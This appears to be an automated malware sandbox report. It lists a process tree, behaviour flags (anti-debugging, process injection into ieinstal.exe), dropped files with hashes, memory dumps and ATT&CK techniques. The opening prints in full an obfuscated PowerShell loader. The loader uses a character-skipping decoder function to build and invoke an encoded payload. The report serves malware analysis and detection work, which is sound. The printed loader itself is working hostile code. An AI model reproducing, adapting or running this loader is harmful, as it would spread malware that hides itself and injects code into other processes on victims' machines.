SCFl7PeD E4PaCAt6 I1Pe6Ti8Go7 AD d3Re0 M3 I1Gr' F; S& R( J`$ PhEmhPo7 S)We St`$OmPvai NnImc ih MeAmsSt3 s5 P5Un K F O;Kl}Pe`$ EA GnSttUnhopr OeSpnDyu FsOm Ti=ly DeKTooDirRiu HnAtySm0Ec4Ph M'Ti7Bl3Ch7 ID B6LaABu7 T6 S7MiDSo7Ga4 U2HyB S2 OA U'Kn;Wi`$ DSTec SaNarCoiPaokhlGue V Fo= B peKUnoNrrNuu InBay L0 H4Re Fa'ge6 GD S6skBpa7ReD H6 hAGe2DiBGl2KaAPu' I; S`$ToK coAfrPouTanSnySv0 H3 P St=Bo cuK poUerNauAfn WyAe0Ob4an E' D5AdFKr7AlDEu6 SCNo5 TB F7Te7Te7 F6 S6 TBPa7 U7 L7 G4 F7FlDBe4ScF E7 U1Hj7St6 R7DiC C7 O7Ch6ElF O' B;ro`$PaK BoVer SuArn SyOb0we0bu= EKOuo Hr FuKvnTry B0Fl4Am sa' M4 RB L7Kl0 f7 N7 S6 BF P4grFMe7Re1Fo7 G6 C7TiCva7Be7Ca6 SF f'Co;Op`$ NP Ci Pn Hclih OeHasTe3Ta5Fi6 P Ci= D CKFaoTar Muovn Cy L0Fo4Cl c'Gl3GeC P5sa0 O7 F9An7Sk6 L7 AC C7 T4Ko7 P1Ba7Sw6Or7suFUr6 QB S7Tr4Ga7 H9Ma7 O5Po7Co5Ty7CuD N7Oc6Ud7KuCDk7PoDne6 OBSp3Da8si2Sp5Ta3 B8Pr4Va3Se4 DBWa6Sk1 P6 RBSv6 VCCh7SpD R7Er5 C3Uk6 U4DgA A6SoDIs7Fy6Pr6anCYm7 H1 T7Fo5 G7EcD I3rh6Cl5Un1Kr7 G6 S6AuCOv7 eDBi6ShA l7Sy7Fo6Sk8Ud4LiB S7 NDRe6KlA J6DiEAs7Hu1Tr7 ABVa7HaDbl6GeBCo3An6 C5Kv5 S7 u9Gu6HjA A6GlBTr7 T0Tr7 U9Va7Op4Ka4Sa5Fa2Re2 R2 O2Ha5 RFSm7InD a6TiCSy5 ECMi7CiDCo7Sa4 M7 CDBy7DeFRa7Tr9Pa6IdC P7AgDPr5 SEAn7Sh7Sy6InADe5 DE P6GiDSt7Se6 S7GrBTr6TrC U7Te1Pa7 S7Fa7 K6 K4Ru8Ob7 U7 u7Ig1 S7Kw6Ho6LeC C7 UDMa6HaA S3Pa0 E3Sk0Bu7 REIn7 T3Di6 F8Sy3Fj8 S3 NCCy5Op9As7be6 F6 BCLa7Ub0Ro6AgA M7HyDNo7 A6 A6PaDNe6 KBUp3Gr8 F3 PCal7Id0Ma7 S0 B2 sCBo3ar1 C3 g4 K3 H8 s3 Y0 L5ShF A5 RC K4GiCPl3Yo8Pl5 L8Ke3 S0Pa4 P3 n5Ra1Br7Do6Ru6 FCFu4 P8Fo6enCUn6 CA I4 S5Fe3No4 D3 D8 A4Im3 R4JeD e5Or1Sm7 B6 T6 TC U2MoBFr2FlA T4 B5Re3Ko4 C3Be8Gl4Ha3 R4MaDAm5 S1Ho7Ra6 A6PtCTe2UdB T2ScABe4 H5Ls3 O4Su3Up8 C4 S3St4TiDTe5Ha1 C7Ro6ju6 RC I2 OBBe2CoAAf4Co5Ud3Je1 H3En8Di3Ko0Fl4Hu3St5 S1 L7Lu6Pl6 TC K4 P8 V6 IC V6 RAKu4Er5 G3 B1Su3 G1 T3 B1 t'Op;Fl& D(Gu`$ Mh Ah G7 H) C No`$KnP DiRen ScblhPrePas C3 a5 L6 S;Er`$TyK RonarTouDen SyOz0 O1 E f=Le VaKReoUnrCruFpn syEv0 h4 S U'Di3TaCIn5InDGa6 S0 U7 P9 T7Ol4Ge6DoCSo7So5 b7 TDEk7 s6Re6 LCAd3 O8 E2Ov5In3 S8 U4wh3Va4 ABIp6Ro1 A6 SBSu6 CCkr7InDGe7sc5Bl3 A6Pu4TaA U6 SDBo7Tv6 K6MiCPa7Ar1 v7 B5Pl7 BDFe3 S6fr5 A1 R7Aw6 s6 PC M7 PDLi6 VA T7Ov7No6 U8 N4BuBVi7BeDHn6CoACo6frE U7Ko1 B7 PB M7weD S6 AB s3Be6Tu5un5Fa7Br9 B6 KA B6DeBNo7 S0 S7Ko9sa7Le4 U4Co5Gn2So2Py2Ep2Sw5 CF T7CiD m6 kCNo5SeC S7UdDPu7 D4Tr7 HD A7 TFPe7 N9La6 DC O7dvDUn5 BE W7 T7Un6 DA I5 DE r6paD M7Br6Ag7DaB H6 AC M7Pl1 k7 A7Ch7 J6Ha4 P8 s7 V7Co7Su1 P7Ro6Fu6InCLy7SaDWi6 AA F3 K0 I3 R0Ob7LaECo7pr3 K6 G8Uv3Lo8Co3EmCIn4TaBfa7 HBSw7 P9qu6VaA C7 O1Ho7 S7Me7Co4 U7 KDBa3Du8 G3FoC L5Kv3 T7Ph7 V6HuA U6StDOd7am6Sh6 b1 S2 K8Ba2 F8Bl3De1 B3 R4 S3 u8 u3So0 R5SkFUn5SoCGr4TiCDe3Ba8 H5 d8 C3St0 S4 J3 V5 B1 R7 C6Si6PoCMy4Tr8Co6abC E6 PASo4 O5Br3Su4ki3co8Vi4Bo3Fl4ziD A5 S1 T7Ka6Kv6 BC P2FoBSk2BaAPr4 K5So3Re1 A3Pu8Fu3 M0Tr4Vu3Co5Ti1Pa7In6St6 TCKe4 R8 A6 FCFr6AsA U4 H5 L3 C1 P3ha1Ba3 S1Sy' A;Sv&Hv( R`$TehInhOr7Ta)Un In`$OlKHuotarMauTenAnyMo0 B1 e;Fy`$SwKKvo UrBeu UnPayVr0Pr2 D S=Fo BrK AoPsrExu AnNayAl0 S4sy G'Ap3unCEp5siEPa7Fr9Mo6StB F6EuCPl7Vi4 T7OvFOp7FlFMi7BaDRe6hoBKo3Fr8Pr2 R5Ud3Pe8Vg4Hr3Tw4MaBSl6ha1Fl6 BB D6 HCDi7PrD W7 S5Cr3 s6Sl4 tA U6TaD l7 A6Ak6NeCRa7 M1 O7Bu5Ma7 rD M3Cr6re5Di1Pr7Tr6sk6LeCJe7ViD L6DyABf7tv7Sc6Re8 P4 RBIn7UnDRe6csAPo6 SE K7 S1In7 FBUn7ZaDOp6MeB S3 R6 G5Fu5Lo7 I9 D6MyAGr6 DBUn7Fo0 K7 A9Pr7Ra4 I4Fo5Sm2An2Co2Go2Pr5joFFi7MaDTa6 UC Z5BuC B7InDSp7Tv4 b7BoDEl7 TF s7 S9De6UrCIn7 ODHo5 QEDy7Ra7Sa6UoASt5MeEKo6LoD S7Ga6 V7AsB A6 JC F7 X1 F7vi7Al7En6 E4Pa8 I7Ra7 P7 A1Pa7Zo6Br6ReCPa7MeDSt6 TA F3 K0Se3 A0Ch7InEEp7Pa3Ag6 B8 R3 O8Ar3ReCne5 H9Ud7Bi6me6 SCpr7Fr0 P6BiA T7TiDJo7St6 R6SuDLo6RaB G3 L8 U3 HCHy5 d3Gl7Po7Un6 CA K6 PDSl7Cl6 F6 B1ch2 S8 C2AsBGa3Co1Ho3Bo4 P3 G8In3Re0St5ReFBo5DrCGr4 VCPo3Br8 S5St8Bl3Er0 A4pa3 D5 d1Ye7 S6Zo6 ACme4 G8Un6FoC K6 LACo4 N5Un3 M1Re3Be8el3 A0Ch4St3Re5Ti1Hu7Sh6Co6SuCco4 L8 F6 FCGr6OsA A4 s5 D3Ta1Ge3Fe1Ai3Up1Lo'Ze; A&Fi(Ko`$ PhBih F7 P) T B`$SlKInoRir CuWonCoy Q0 O2 M; H`$TuP OiNonSmcKohafe Pspe3 H5 B7 B C=Pr flKPooTir Pu Un Uyno0 E4Ch R' R3TaC Q5Pi7Ko6Zo8Fa6MaB S7Ma3In6OpAUn7Af1 I7CrE B6GlCPy7FoDMe6ovAHe3Se8Sy2 A5 S3 L8En3exCIn5 MERe7Al9 K6MaBdr6FoCfo7Mo4 S7TuFRo7ZyFCo7 aDAf6NoB a3 C6Ca5Ps1Te7Ex6Se6BlE R7Sm7ge7 D3va7HaDAk3Sd0Ta2Sh8Bi3Ma1Me' S;ra& h( P`$KehTrhDr7 L) M h`$DaP li AnBucUhhBee Rs B3 B5Ro7 N;Hu`$BePAcimin Sc LhoveAtsId3de5Pe7Bu Em=Ud SkKreoSkr TuUdn Myst0an4 T Bl' S3 RCun5TiD I6 D0Di7Ka9Wh7Un4Fr6 UCOp7Sn5 I7TiDHe7 G6 B6CaC B3Ho6 P5Re1Ta7St6 K6AkE C7Ri7 G7 P3Uf7KrDKo3Op0Bi3 aC F5 U7Bo6In8Tl6DeBFo7Om3ov6beARy7Fo1co7 CEan6meC D7SmDFo6RiA d3 D4 b3 S8 I2Nr8Zy3 D1Gu' M; A&ac(Bj`$Beh EhCo7Fo) U S`$ nPOviTanafcAeh Pe RsRe3fo5Ka7Ad; U`$ KDSkeSelTiiMeb De Prtra Utste IlGayTi St=Hj Paf Dk FpAa U`$ Fh EhEp5 H ko`$ GhanhSm6Sc;Ta`$ APPiiFrn Sc ThLuePrsVi3Sa5 S7Sv Be=En MiKRuorer NuScn Ey P0 S4Gl Ou' T3 FC H6CoDKo7 ECMi7Fy4Ud7Ve1Ud7StFSo7IsFSl7 UD U6TrAPr7 DA I7Mc9 B7no9 U7PaCNv7WhDps7Na6co7 SD u6SyBub2IrBAf3fu8su2 M5 N3Ma8Sp3SuCBe5Af0 u7Ge9se7Ko6As7MaCZ 7Me4 G7 A1 U7In6 P7SuFPl6SpBDo7 E4Mo7 F9In7So5 L7Re5In7FlDSp7Sa6Re7flCBv7 VDDi6DoBNe3gr6Ko5 I1La7ce6 R6GyEAn7 B7 P7 U3In7ChDUn3Ke0Vr4Vg3Vi5Sm1 F7El6Sl6 SCSt4 M8Gl6GoCCr6 BANe4Pl5Ge2 F2Ar2Fo2 B4 G2Zo7enDTr6SuA S7 K7 S3He4Su3 H8ty2 kDFl2SiEUn2 TAUd3 P4Su3Co8Gr2 A8 R6Fo0 B2FuBOv2 O8Ha2 O8Ov2Ac8tr3 S4 L3Ki8Li2Ho8Ei6Ak0En2beCTr2Hy8 M3 S1Va' A; S&Bu(Su`$Sah Sh B7 F) T L`$FoP bi PnPacnoh DeGnsAd3Op5Br7Ud; U`$ dPLei RnOkcKnh BeSksTi3Pl5Ai8St vu=Un KuKUbo Gr Nu RnSty I0Pl4 P u' s3RdCPr5StCCo6 DD m7Su6 C7Pe6Ku7Re9 G7 SFAb7 HDRe7 DCSa3 T8Di2Sa5 A3Re8Af3UnC B5 P0Ko7Hv9 L7ma6Tl7 SCDo7En4 S7re1No7 T6Sc7 aFtr6 TBSt7 P4tu7 s9 s7Da5 R7Ec5 m7 ND M7 A6Si7NoC b7DiD U6BiBMa3Ou6 T5Tv1be7Sy6Pe6 BE P7 B7 N7Me3 K7 eD P3Cl0Se4 F3 i5Sw1Tr7 F6Ne6 TCAb4 J8 e6 PCBe6InATi4 O5 E2Bi2re2 H2Ha4St2Ap7QrDOc6anA N7Ac7 P3Av4Un3Po8Re2Sp0 S2ChD I2 PCau2WaCAf2TvA T2PrD F2AcEMi2 A8 T3 H4 F3Me8 S2 H8Ov6Ci0Ry2 KBMe2 S8Po2La8 L2 N8 F3 A4Kr3Ra8 B2Tv8Sl6 A0 S2 FCmi3Un1 P'Sk;Fr&Oe( K`$fuh Sh S7Ti) F Ha`$KoP DiLan Ecbih BeLns S3 T5Ln8Co; P`$ Eu id ClHaiUsgGigExeFarAnbKaaOvaDudVie CnBoeFls I2 B=Ce`""" H`$ EeBon Kv K: GA hP TP PD CAShT DA C\StA SfDifHyarolSkdUnsMosDek Sa FklytHee SnUn\SipTarVve As CsgieMofVaoBalPud D\SedRouSie UlnebvaeMinAle E\ SM Da BiSpd AaKrnEn\exV ZaRen DdUnl CatrdErn Ii CnPog N\ReR Ue EnSkl Mi Hg Chene Nd Ks Ouskd SvBlihekVilbri TnAdg Cs B\TiBReekoaCan Sf Ni TePslRedKe.SrJUnaFicTo`"""An;Pr`$AtPReiDinTrcOvhAve FsSt3 U5Fo9 P Ta=Ru SKDoorerPouTonCuyKa0An4Mi Ab'Er3 NC H4Op8Ti7 C1 M7Gr6 K7 PBKa7dx0Sn7 NDAf6MeBca2 ABMi2 SD s3 R8Fl2Ui5 E3 J8 P4fe3Un4RaBVa6Ra1De6UnBSt6AfC M7 RDOx7 S5Ba3 F6Kl5 S1Vi5 K7Co3 F6Su5emESl7 K1Mu7Sv4Pa7hoD P4 Q5Ap2Rb2 S2Tl2Op4UpAEn7 SD L7 H9Si7 MCSi5Co9Sp7Ib4El7 p4Af5 fAAv6 P1 f6OpC B7 SDPh6StBOp3Re0 V3 ACSi6MoDBa7 dCAn7 D4Un7 E1Be7 SF M7PeF K7PaD J6 NAGr7VeAJo7 D9Ha7 S9Ak7HeCTu7TiDIn7Di6Ca7 TDta6ElBTi2 RAeu3Hj1 D'Ba;Fo&Ma(Co`$ Ph Mh H7 V)Ci Hv`$ PP UiSunPhc QhIleCasDa3So5As9 B;Ek`$TiSMyk oi tdIntCaf Si FsSuk UeRur K0 C d= P EK HoEnrGau wn ByKo0 G4Op H' G4 D3 C4CiB G6Re1 C6CoBEn6PoC C7 SD E7Mu5 e3Gn6Af4KuA V6 DDSk7 S6Tu6NoCSv7Mo1Po7Ri5un7 DDIm3 V6In5sl1St7Tr6 K6GlC M7 FD f6 HA F7 A7Di6So8 M4 DBSp7SkDOp6UdAEp6 UECo7Sa1Pr7PaBAf7SlDPe6 ABOp3Ap6Su5zo5Pe7 K9Ko6AlA K6 TB R7St0Sa7 S9 S7Fo4Ko4 u5 B2An2 P2Fr2 I5MeBSv7ba7 s6 M8 H6Ef1 G3He0Un3 SCCa4 P8Br7 n1 S7Xy6Af7InBDe7Le0Th7saD U6AfBRe2SuBOr2StDBe3Or4Sh3 T8 U2 T9 b2Sk8 S2DeASo2 HCAk3Ma4Ko3Pr8fl3 f8Rg3CaCSt6trDGi7EfC D7Ov4 V7 C1Bo7CaF q7NeF H7 sDPo6MnA E7 LA L7 E9Ch7 F9 L7TaC P7PhDFl7 F6Do7 NDKr6deB A2 ABPi3 C4 K3 F8 A2 CDfo2 CE I2 PA D3 U1En' v;Se& P(Be`$ Mh ShVe7 T)Ko Fn`$PaSMakMiiNod MtVafLniBesLdkChe Arna0 U;Up`$GgBDio PrKot PfUno drSepFoaFogGat SnAuiPon BggreDirwa=Fo`$ SPsui kn HcpohSke Vshi3tr5Di.UdcFloInuRen Nt O-Ad5Br6Is2 b- U1Un0ta2 O4Ca;Sy`$PyS Fk OiHud Kt SfMei FsFikDdeUnrSk1Pa Ma=Sa TrK ko NrAfu SnSmy R0Re4 B G' A4Be3St4GyBFr6 F1Un6 PBPi6WhC U7FoD i7Si5 M3De6Po4StA S6 FD R7 D6Tr6FyCOp7St1Da7Lt5om7VeDMe3 P6 A5Tr1Ki7 U6 N6LuCFe7PuDSu6 oA O7 U7 A6St8Nu4MeBSu7VeDSc6ReATo6CaE L7 t1 S7 DBRe7 OD A6 mBPa3 K6Co5Co5 I7In9 C6 PASt6 SBVe7Al0Ed7 r9Va7Sv4Re4 B5Ko2Mi2Ka2Be2 P5ReBAc7Ma7In6ge8Em6 N1He3 S0Et3 SCMi4 L8Ti7Un1Bo7 B6 S7 OB E7 S0Se7StDDr6viBAs2 BB P2LnD C3 M4St3 H8 D2brDSm2DeETe2HyAUn3 A3Ut2Re9Zy2 P8Ch2 vASk2 TCHe3 P4 B3Ko8Bl3ilC K5reCYa6 BD Y7Re6Sl7Mo6 D7Br9Ro7TeFBt7TrDOv7MoC K3Se4Ke3Ab8Pr3 HC N5OeA C7Hu7Vo6UnABa6SuC S7SkE L7Ov7Co6 RAgo6Kr8Po7 S9 O7OdFCh6 OC P7Un6Pj7Un1Ha7 B6 H7WaFRa7 SDBa6 HA D3 G1Hi' K;Sa&Se(Ku`$PrhEdhSt7Sc)Pr S`$ DS UktiiFod Kt Hf Timas AkSeeNsrCo1Ub; N`$ bSGekReiCid Pt MfSwiLasBakTeeasr B2Du Fa=fo KoKEvoDur Fu Jn SyDr0Fr4 P S'Re3PrCSk5DeAFl7 tDVa7Un5So7 A9Ho7Sp4 A7 B1Pr7 F6Ti7laF T7 hD P7In6 T6 EBKu3Ma8Vi2Ja5 G3 T8Cr4Sp3Fl4SkBAn6 R1 S6muBSe6vlCSy7PrD H7Ba5Sk3 B6 S4FlAKa6 aDFe7 A6 M6 MC B7 E1 Q7Ja5Se7 dD A3Bo6 F5In1 R7Ve6Sv6 PC R7KoDCa6 sAIn7 U7 P6Un8An4 GB C7 AD C6SeA F6UnEBe7 D1 f7maB J7 CDAl6KaB H3 s6 D5Un5Fo7Ek9 T6 AA P6 ABRh7 r0Sv7Ev9In7Ru4 A4 A5ru2 H2 A2 S2Ta5PaFty7ReD S6 DCBo5 uCMo7PaD r7hj4Di7 ADTr7PaF E7Pe9Ak6 UCFl7 uD O5 CEUd7 L7Sa6prA J5 UEVe6AcD P7Ku6St7 DB R6ThCIl7At1To7Sp7ul7Ca6Id4sk8Sk7Dy7 D7Ho1 M7 F6Sk6 SCSo7 ADaa6CoA P3 b0Al3Br0Fr7OtENv7 D3St6Ge8 M3Ir8 P3 MCBj4Na8Gr7Vi4 C7 R9Br7 A6 a7 B9Ra6 MA R7Sl1Pa7FoESt7Ce7Gy6 KA C7Tu5Ly3 C8 V3DeC T4KrB g7Se4 g7az9 B7Pa6 A6OvC T6 t1 H3Ri1 S3Ho4 P3Pl8Sk3 P0My5VeFSh5 BCKo4 PCJu3 O8An5ov8 T3 F0Pa4Wi3Ce5Su1He7Ko6 S6SlCRa4Al8Dy6RuCPr6 UARe4 A5Re3Ca4Sq3 E8hy4 G3Ba5Gr1 d7 a6 J6 PCIl4Se8Fl6 UC L6 BABh4 P5Pa3 B4 P3Kl8Sa4 O3Af5Ra1Ke7En6 s6 EC H4Si8Ud6anCHy6BrAFi4Ti5Op3 M4Ni3Ko8 d4in3 M5 D1 P7 B6Be6 OCVi4At8 S6LyCNo6VeA M4St5 S3Da4 T3Sy8Jo4Ja3 A5 D1Ve7Ra6Em6 SCSm4Un8Fo6PoC J6SuA S4Co5 T3 K1Pr3In8Co3by0 F4 S3 v5Kl1 T7Mh6Co6NoCst4Ru8Un6FoCSy6 TAOv4 a5Fo3Sh1At3Fl1 B3Em1 A' C; A&Ak( D`$DehWhh C7Vi) G S`$HuS Ak hiUnd RtJuf OiPosSektoe Dr O2 M; D`$KrSDak NiOrd St GffuiStsPokSyeBerUn3Su fo= H opKDko TrErusknSyyMa0Kl4 d Un' S3FrCRi5arARi7SyD C7Sp5Pr7 C9 M7Ge4Ph7Un1 R7 P6Le7afF G7scDLa7 D6Ba6 AB S3 N6Ra5de1Na7 D6 D6BjEAf7 B7Ko7Ja3 E7udDHa3 S0My3SkCBr6 OD S7ScC g7 U4 R7As1Ar7PeFBe7 SF U7 CDAp6FoALu7 RAGe7sp9 A7Co9Be7DaCSk7RaDAc7 S6In7DiD M6 BB F2SkB R3 B4 L3 KC I5 UCSe6 PD Z7Bu6 f7Tr6No7 G9Ha7 DFVa7NoDOv7 KC S3 V4Pa3ReC S5MoCFr7LaDOm7 A4 E7 C1 D7EsAsk7 AD D6CuABa7Ov9Sw6 SC F7UdD U7fo4 F6 A1 O3 V4 S2Fo8Se3 R4su2 F8 U3 G1Un'Bl;Sm& K( U`$ Ph rhFi7Ic) B A`$ TSomkLoiLadMitLofMiiRus Bk FeVer E3 B#kn;""";;Function Skidtfisker9 { param([String]$freedoot); For($Raaberne=2; $Raaberne -lt $freedoot.Length-1; $Raaberne+=(2+1)){ $Unslyness = $freedoot.Substring($Raaberne, 1); $Koruny = $Koruny + $Unslyness; } $Koruny;}$kuppelens0 = Skidtfisker9 ' AIOrE CX H ';$kuppelens1= Skidtfisker9 $Indlevelsesevne;&$kuppelens0 $kuppelens1;<#Stdtrinene Geoginas sammenligninger Cadillacs Trappestigers Keelhauls #>;"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      Checks QEMU agent file
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1556

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Affaldsskakten\pressefold\duelbene\Maidan\Vandladning\Renlighedsudviklings\Beanfield.Jac

Filesize
258KB

MD5
67f298baef5634310fd4e2db7f3b7945

SHA1
5fbe29861a9ff747dcf6cf97ab064dced3faf625

SHA256
d4c5345561dd937c96285f52c75ed69071c99e1cc0ebb8a61d5de6e19f5d9c3f

SHA512
bbbd4111077375539f14b338b95aa43b4c1a4a39b25699a3307ae45ed5b1652ce1358c1dc15030de4988f81124310bbb5a55bd0535d59d24b926dff282c26b95

Download Submit
C:\Users\Admin\AppData\Roaming\Affaldsskakten\pressefold\duelbene\Oktavformat.The

Filesize
23KB

MD5
58b978629912fa4ccf2232d5b0de123c

SHA1
47ab058312f2407b10b28b41fcb6b3797c8bfc83

SHA256
8fb8c32966e2405e41daac76f3d6d4e40e76329006a5444fd61c0d02e1f1b621

SHA512
7fcc20c5420aee96f5bda1de313684aab6b2e1f320e35e5eff457d48b49bcc091bd8646b348e5f283a02ab6eefc18964d4fd05bef8d52bb1b2e14d2e60276ec5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I38RPZH1ETJ632B5GIBQ.temp

Filesize
7KB

MD5
57f5c69b06b7a7eae5b7f300be262030

SHA1
c7cae56c99c4675b439640e04d77eefe2ce3b2ba

SHA256
c24721c05a8b37c2796bf4599255d2881712400be9394de4b4bf240535f35f1a

SHA512
af2141bd83fcb9fa6bdafa821e8fa464ed0fb79826e2d7664b644e2ccd1810ae95db8a71e9a5bcbe469fcfeb2193b26acc95d2433605888b37725c2c29b64f76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
57f5c69b06b7a7eae5b7f300be262030

SHA1
c7cae56c99c4675b439640e04d77eefe2ce3b2ba

SHA256
c24721c05a8b37c2796bf4599255d2881712400be9394de4b4bf240535f35f1a

SHA512
af2141bd83fcb9fa6bdafa821e8fa464ed0fb79826e2d7664b644e2ccd1810ae95db8a71e9a5bcbe469fcfeb2193b26acc95d2433605888b37725c2c29b64f76

Download Submit
memory/908-61-0x0000000002260000-0x00000000022A0000-memory.dmp

Filesize
256KB

Download
memory/1440-69-0x0000000005C70000-0x000000000ADEC000-memory.dmp

Filesize
81.5MB

Download
memory/1440-71-0x0000000004DA0000-0x0000000004DA1000-memory.dmp

Filesize
4KB

Download
memory/1440-70-0x0000000002420000-0x0000000002460000-memory.dmp

Filesize
256KB

Download
memory/1556-72-0x0000000000620000-0x000000000579C000-memory.dmp

Filesize
81.5MB

Download
memory/1556-75-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/1556-76-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/1556-77-0x0000000000620000-0x000000000579C000-memory.dmp

Filesize
81.5MB

Download
memory/1556-78-0x0000000021700000-0x0000000021A03000-memory.dmp

Filesize
3.0MB

Download
memory/1556-79-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download

Analysis

Sharing